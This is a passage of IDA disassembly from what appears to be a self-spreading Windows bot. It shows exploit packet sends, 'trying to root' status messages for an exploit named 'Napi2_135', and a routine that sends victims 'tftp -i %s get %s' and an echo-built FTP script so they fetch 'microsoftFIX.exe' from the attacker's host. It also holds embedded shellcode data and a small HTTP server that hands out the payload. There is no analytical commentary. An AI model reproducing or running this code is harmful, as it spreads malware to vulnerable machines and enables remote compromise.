		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_4403A4
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+238h+var_210]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_440500
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+258h+var_230]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_44065C
		push	esi
		call	ebx	; send
		jmp	loc_40CADE
; ---------------------------------------------------------------------------


loc_40CCF2:				; CODE XREF: sub_40C89D+1C4j
					; sub_40C89D+1CDj ...
		push	esi


loc_40CCF3:				; CODE XREF: sub_40C89D+269j
		nop
		call	near ptr 71AB1A6Dh
		push	7D0h
		nop
		call	near ptr 2690599h
		sub	esp, 0BCh
		lea	esi, [esp+268h+arg_136F8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40CD34
		add	esp, 0BCh
		neg	eax
		sbb	eax, eax
		neg	eax


loc_40CD29:				; CODE XREF: sub_40C89D+5Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13894h
		retn
sub_40C89D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD34	proc near		; CODE XREF: sub_40C89D+47Bp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_445388
		push	0BEEFh
		mov	[ebp+var_C], eax
		call	dword_445348
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4453C8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40CE6E
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4452F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CE6E
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_445360
		mov	esi, offset aMicrosoftfix_e ; "microsoftFIX.exe"
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40267D
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_4172D0
		movzx	eax, word ptr dword_4D3010
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_40267D
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CE6E
		push	1F4h
		nop
		call	near ptr 2690599h
		push	esi
		push	offset aS_19	; "%s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CE72


loc_40CE6E:				; CODE XREF: sub_40CD34+4Fj
					; sub_40CD34+65j ...
		xor	eax, eax
		jmp	short loc_40CE91
; ---------------------------------------------------------------------------


loc_40CE72:				; CODE XREF: sub_40CD34+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_445360
		push	ebx
		call	dword_4453E0
		push	1
		pop	eax


loc_40CE91:				; CODE XREF: sub_40CD34+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CD34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE96	proc near		; CODE XREF: sub_409ECC+1E6p
					; DATA XREF: ___:off_43DE3Co

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_A0], 8Bh
		push	edi
		jz	short loc_40CEBF
		cmp	[ebp+arg_A0], 1BDh
		jnz	loc_40CF48


loc_40CEBF:				; CODE XREF: sub_40CE96+17j
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40C89D
		mov	esi, eax
		add	esp, 0BCh
		test	esi, esi
		jz	short loc_40CF48
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		add	eax, offset aNapi2_135 ; "Napi2_135"
		push	eax
		push	offset a_a_a_a_S_e_x_p ; ".a.a.a. (%s.e.x.p) .»».  trying to root"...
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_4172D0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_401445
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_410557
		mov	eax, [ebp+arg_A8]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_43DE40[eax]
		lea	eax, dword_43DE40[eax]


loc_40CF48:				; CODE XREF: sub_40CE96+23j
					; sub_40CE96+48j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_40CE96	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40CF57:				; CODE XREF: ___:0040CF73j
					; ___:0040CF8Fj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4D6394
		call	dword_445360
		test	eax, eax
		jle	short loc_40CF57
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4D6390
		nop
		call	near ptr 2720000h
		jmp	short loc_40CF57
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40CF9A:				; CODE XREF: ___:0040CFC0j
					; ___:0040CFDAj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4D6384
		nop
		call	near ptr 2730000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40CF9A
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4D6394
		call	dword_445398
		jmp	short loc_40CF9A
; ---------------------------------------------------------------------------
dword_40CFDC	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_403038+4174o
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 61E85057h, 830000A0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 445348h, 6A56066Ah, 45896602h, 0C815FFCAh
		dd 89004453h, 458D0845h, 50106AC8h, 0FF0875FFh,	44537415h
		dd 0FF056A00h, 15FF0875h, 445370h, 0D3481D8Bh, 358B004Dh
		dd 4DD2BCh, 75FF5757h, 0DC15FF08h, 0A3004453h, 4D6394h
		dd 57F4458Dh, 63906850h, 8C68004Dh, 0C7004D63h,	0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4D6388h
		dd 4D638468h, 6AD3FF00h, 84458D44h, 0C5E85057h,	0A100009Fh
		dd 4D638Ch, 890CC483h, 88A1BC45h, 89004D63h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 23E890B4h, 5002323Eh, 638835FFh, 0E890004Dh
		dd 2323E16h, 9E89050h, 8D023239h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4407E068h
		dd 0E8905700h, 2263287h, 50E8458Dh, 91685757h, 8D0040CFh
		dd 5057F445h, 37D1E890h, 45890229h, 0E8458DECh,	68575750h
		dd 40CF4Eh, 57F4458Dh, 37B9E850h, 6A900229h, 0F04589FFh
		dd 90D875FFh, 2A3B79E8h, 75FF5702h, 50E890F0h, 57022C3Ah
		dd 90EC75FFh, 2C3A46E8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 323777E8h, 8C35FF02h, 0FF004D63h,	9035FFD6h
		dd 0FF004D63h, 8435FFD6h, 0FF004D63h, 8835FFD6h, 0FF004D63h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h
dword_40D1AC	dd 81EC8B55h, 0A70ECh, 8458B00h, 6A575653h, 0A9B901h, 0F08B0000h
					; DATA XREF: sub_4097CE+22Ao
		dd 0F920BD8Dh, 0F35BFFFFh, 0A09889A5h, 8D000002h, 0FFF59085h
		dd 50F633FFh, 10168h, 0E45D8900h, 89D45D89h, 0B589DC5Dh
		dd 0FFFFFDD4h, 0FBC4B589h, 0E890FFFFh, 716A6FDEh, 26A5356h
		dd 6A1CE890h, 358B716Ah, 4DD488h, 6AE44D8Dh, 0FFBF5104h
		dd 6A0000FFh, 89505704h, 0D6FFF845h, 6AD4458Dh,	0FB6A5004h
		dd 0F87D8B57h, 8DD6FF57h, 6850DC45h, 8004667Eh,	1BE89057h
		dd 66716A43h, 4D3010A1h, 0B8658300h, 0C7665000h, 2B445h
		dd 534815FFh, 89660044h, 458DB645h, 50106AB4h, 67E89057h
		dd 85716A6Ch, 8B077DC0h, 567E9C3h, 0A6A0000h, 67E89057h
		dd 89716A8Bh, 0FFFDD49Dh, 981D8BFFh, 89004DD4h,	0FFFDD8BDh
		dd 0FC7D89FFh, 0B58D416Ah, 0FFFFFDD4h, 0C4BD8D59h, 0F3FFFFFBh
		dd 8DF633A5h, 0FFFBC485h, 565656FFh, 0FC458B50h, 0E8905040h
		dd 716A45D8h, 0FFFF883h, 51584h, 39FF3300h, 7D89FC75h
		dd 33C57C08h, 8D646AF6h, 0FFFD6085h, 0E85056FFh, 9D94h
		dd 858D646Ah, 0FFFFFF50h, 85E85056h, 8300009Dh,	858D18C4h
		dd 0FFFFFBC4h, 77E85750h, 85000246h, 0C1840FC0h, 3B000004h
		dd 7A75F87Dh, 0C7F0458Dh, 10F045h, 8D500000h, 0FFFDC485h
		dd 75FF50FFh, 6AE890F8h, 83716AB3h, 840FFFF8h, 498h, 0B539C933h
		dd 0FFFFFDD4h, 958D1676h, 0FFFFFDD8h, 0C740239h, 4C28341h
		dd 0FDD48D3Bh, 0F072FFFFh, 0FDD48D3Bh, 1675FFFFh, 0FDD4BD83h
		dd 7340FFFFh, 8D84890Dh, 0FFFFFDD8h, 0FDD485FFh, 453BFFFFh
		dd 89037EFCh, 6A56FC45h, 7E86815h, 0FF500044h, 442E9D3h
		dd 8D560000h, 0FFFD6085h, 50646AFFh, 0FDE89057h, 85716A82h
		dd 8B527FC0h, 0FFFDD495h, 3BC933FFh, 8D3A76D6h,	0FFFDD885h
		dd 743839FFh, 0C083410Ah, 72CA3B04h, 4A26EBF4h,	1B73CA3Bh
		dd 0D88D848Dh, 8BFFFFFDh, 89410450h, 0D4958B10h, 83FFFFFDh
		dd 3B4A04C0h, 0FFEC72CAh, 0FFFDD48Dh, 0E89057FFh, 716A4689h
		dd 3DBE9h, 0C8858D00h, 50FFFFFCh, 0FF50858Dh, 8D50FFFFh
		dd 0FFFD6085h, 80068FFh, 0E8500044h, 0B6E8h, 0FF50858Dh
		dd 868FFFFh, 50004408h,	0A457E8h, 18C48300h, 0D75C085h
		dd 68166A56h, 440810h, 382E9h, 50858D00h, 68FFFFFFh, 440828h
		dd 0A432E850h, 85590000h, 0D7559C0h, 68146A56h,	440830h
		dd 35EE9h, 50858D00h, 68FFFFFFh, 440848h, 0A40EE850h, 85590000h
		dd 0D7559C0h, 680D6A56h, 440850h, 33AE9h, 50858D00h, 68FFFFFFh
		dd 440860h, 0A3EAE850h,	85590000h, 0D7559C0h, 68106A56h
		dd 440868h, 316E9h, 50858D00h, 68FFFFFFh, 44087Ch, 0A3C6E850h
		dd 85590000h, 0D7559C0h, 681E6A56h, 440880h, 2F2E9h, 50858D00h
		dd 68FFFFFFh, 4408A0h, 0A3A2E850h, 85590000h, 247559C0h
		dd 0FCC8858Dh, 0A868FFFFh, 50004408h, 0A38BE8h,	0C0855900h
		dd 560D7559h, 0AC68136Ah, 0E9004408h, 2B7h, 0FF50858Dh
		dd 0C068FFFFh, 50004408h, 0A367E8h, 0C0855900h,	8D247559h
		dd 0FFFCC885h, 8C868FFh, 0E8500044h, 0A350h, 59C08559h
		dd 6A560D75h, 8CC6813h,	7CE90044h, 8D000002h, 0FFFF5085h
		dd 8E068FFh, 0E8500044h, 0A32Ch, 59C08559h, 0A6A3775h
		dd 4408E8BEh, 0BD8D5900h, 0FFFFFED8h, 8D50A5F3h, 0FFFED885h
		dd 0A56650FFh, 7677E8h,	8D505900h, 0FFFED885h, 75FF50FFh
		dd 33D3FF08h, 87D8BF6h,	231E9h,	50858D00h, 68FFFFFFh, 440914h
		dd 0A2DEE850h, 85590000h, 2A7559C0h, 1CBE056Ah,	59004409h
		dd 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh
		dd 7628h, 858D5059h, 0FFFFFF38h, 858DAFEBh, 0FFFFFF50h
		dd 44093468h, 9DE85000h, 590000A2h, 0F59C085h, 0B885h
		dd 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh,	8D50EC45h
		dd 8D50E845h, 8D50E045h, 8D50D845h, 0FFFD6085h,	93C68FFh
		dd 0E8500044h, 0B4E4h, 0FF04858Dh, 0E850FFFFh, 9EB8h, 858DF88Bh
		dd 0FFFFFD2Ch, 9EAAE850h, 45890000h, 8D326AF4h,	0FFFF0485h
		dd 0E85056FFh, 9A38h, 8DF475FFh, 0FFFF0485h, 646857FFh
		dd 50004409h, 9B83E8h, 44C48300h, 0FF04858Dh, 106AFFFFh
		dd 51E85056h, 890000ABh, 458DF445h, 458D50ECh, 458D50E8h
		dd 458D50E0h, 458D50D8h, 96C68C4h, 0E8500044h, 9B50h, 5624C483h
		dd 78681D6Ah, 0FF004409h, 0D3FF0875h, 0FFFEE4E9h, 50858DFFh
		dd 68FFFFFFh, 440998h, 0A1CAE850h, 85590000h, 850F59C0h
		dd 0E0h, 68286A56h, 4409A0h, 0FFD3FF57h, 458DF475h, 19E850C4h
		dd 59000001h, 5901F883h, 0B4850Fh, 458D0000h, 858D50C4h
		dd 0FFFFF720h, 4409CC68h, 0E9E85000h, 8300009Ah, 0B5390CC4h
		dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh
		dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 3D33E8FFh, 0C483FFFFh
		dd 143E814h, 0F8830000h, 8F850F01h, 56000000h, 0EC68176Ah
		dd 57004409h, 458DD3FFh, 858D50C4h, 0FFFFF720h,	440A0468h
		dd 8DE85000h, 8300009Ah, 0B5390CC4h, 0FFFFFBBCh, 8D562375h
		dd 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh
		dd 0FFF920B5h, 3CD7E8FFh, 0C483FFFFh, 20858D14h, 50FFFFF7h
		dd 2DDAE8h, 0E005FF00h,	59004D5Ah, 6A562CEBh, 0A1C6820h
		dd 1FEB0044h, 0FF50858Dh, 4068FFFFh, 5000440Ah,	0A0CFE8h
		dd 0C0855900h, 560B7559h, 48681B6Ah, 5700440Ah,	646AD3FFh
		dd 0FD60858Dh, 5056FFFFh, 98AFE8h, 0CC48300h, 0FC7D3B47h
		dd 0F087D89h, 0FFFAFA8Eh, 0FABAE9FFh, 16AFFFFh,	5B5E5F58h
		dd 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4D639C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4D639C
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D858
		push	dword_4D639C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D858:				; CODE XREF: ___:0040D840j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-104h]
		push	offset aRb	; "rb"
		push	eax
		call	sub_417050
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40D8F4
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40D8D8
		push	edi
		mov	edi, 400h


loc_40D8A0:				; CODE XREF: ___:0040D8D5j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_416D40
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4D639C
		call	near ptr 71AB1AF4h
		nop
		push	1
		call	near ptr 2690599h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40D8A0
		pop	edi


loc_40D8D8:				; CODE XREF: ___:0040D898j
		push	esi
		call	sub_414C60
		pop	ecx
		push	dword_4D639C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40D8F4:				; CODE XREF: ___:0040D892j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8F7	proc near		; DATA XREF: sub_403038+36F4o
					; sub_4097CE+34Eo

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417E20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417070
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_445348
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4453C8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40DCE8
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_44621C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_445374
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DCE8
		push	7FFFFFFFh
		push	edi
		call	dword_445370
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DCE8
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4453E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DCE8
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40D9CE:				; CODE XREF: sub_40D8F7+3E7j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_445330
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DCE3
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40DA04:				; CODE XREF: sub_40D8F7+3E1j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_445234
		test	eax, eax
		jz	loc_40DCCE
		cmp	esi, [ebp+var_C]
		jnz	short loc_40DA86
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4453DC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DCCE
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40DA58
		lea	edx, [ebp+var_134]


loc_40DA4C:				; CODE XREF: sub_40D8F7+15Fj
		cmp	[edx], eax
		jz	short loc_40DA58
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40DA4C


loc_40DA58:				; CODE XREF: sub_40D8F7+14Dj
					; sub_40D8F7+157j
		cmp	ecx, ebx
		jnz	short loc_40DA75
		cmp	ebx, 40h
		jnb	short loc_40DA75
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40DA75:				; CODE XREF: sub_40D8F7+163j
					; sub_40D8F7+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40DCCE
		mov	[ebp+var_8], eax
		jmp	loc_40DCCE
; ---------------------------------------------------------------------------


loc_40DA86:				; CODE XREF: sub_40D8F7+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417070
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417070
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_445360
		test	eax, eax
		jg	short loc_40DB19
		push	esi
		call	dword_4453E0
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40DCCE
		lea	eax, [ebp+var_134]


loc_40DAD8:				; CODE XREF: sub_40D8F7+1EBj
		cmp	[eax], esi
		jz	short loc_40DAE9
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40DAD8
		jmp	loc_40DCCE
; ---------------------------------------------------------------------------


loc_40DAE9:				; CODE XREF: sub_40D8F7+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40DB0D
		lea	eax, [ebp+ecx*4+var_134]


loc_40DAF7:				; CODE XREF: sub_40D8F7+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40DAF7


loc_40DB0D:				; CODE XREF: sub_40D8F7+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40DCCE
; ---------------------------------------------------------------------------


loc_40DB19:				; CODE XREF: sub_40D8F7+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417070
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_414BE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40DCCE


loc_40DB47:				; CODE XREF: sub_40D8F7+30Fj
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40DBF2
		lea	eax, [ebp+var_18F0]
		push	offset aGet	; "GET "
		push	eax
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DBC6
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_414BE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40DBC6
		push	offset asc_440A70 ; " "
		push	offset asc_440A74 ; " "
		lea	eax, [ebp+var_18F0]
		push	offset aGet_0	; "GET "
		push	eax
		call	sub_417B50
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417B50
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417620
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4184C0
		add	esp, 10h
		jmp	short loc_40DBDD
; ---------------------------------------------------------------------------


loc_40DBC6:				; CODE XREF: sub_40D8F7+27Ej
					; sub_40D8F7+290j
		lea	eax, [ebp+var_18F0]
		push	offset asc_440A80 ; "\r\n"
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DC11


loc_40DBDD:				; CODE XREF: sub_40D8F7+2CDj
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417070
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40DBF2:				; CODE XREF: sub_40D8F7+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_414BE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40DB47
		jmp	loc_40DCCE
; ---------------------------------------------------------------------------


loc_40DC11:				; CODE XREF: sub_40D8F7+2E4j
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40DC5B
		lea	eax, [ebp+var_134]


loc_40DC1D:				; CODE XREF: sub_40D8F7+333j
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40DC2E
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40DC1D
		jmp	short loc_40DC5E
; ---------------------------------------------------------------------------


loc_40DC2E:				; CODE XREF: sub_40D8F7+32Bj
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40DC52
		lea	eax, [ebp+ecx*4+var_134]


loc_40DC3C:				; CODE XREF: sub_40D8F7+359j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40DC3C


loc_40DC52:				; CODE XREF: sub_40D8F7+33Cj
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40DC5E
; ---------------------------------------------------------------------------


loc_40DC5B:				; CODE XREF: sub_40D8F7+31Ej
		mov	esi, [ebp+var_4]


loc_40DC5E:				; CODE XREF: sub_40D8F7+335j
					; sub_40D8F7+362j
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40DCC7
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_414BE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_414BE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40DCC7
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4453E4
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40DEDA
		add	esp, 14h
		jmp	short loc_40DCCE
; ---------------------------------------------------------------------------


loc_40DCC7:				; CODE XREF: sub_40D8F7+36Fj
					; sub_40D8F7+395j
		push	esi
		call	dword_4453E0


loc_40DCCE:				; CODE XREF: sub_40D8F7+11Dj
					; sub_40D8F7+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40DA04
		jmp	loc_40D9CE
; ---------------------------------------------------------------------------


loc_40DCE3:				; CODE XREF: sub_40D8F7+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40DCE8:				; CODE XREF: sub_40D8F7+6Aj
					; sub_40D8F7+92j ...
		call	dword_4452DC
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_440A84
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40DD2E
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
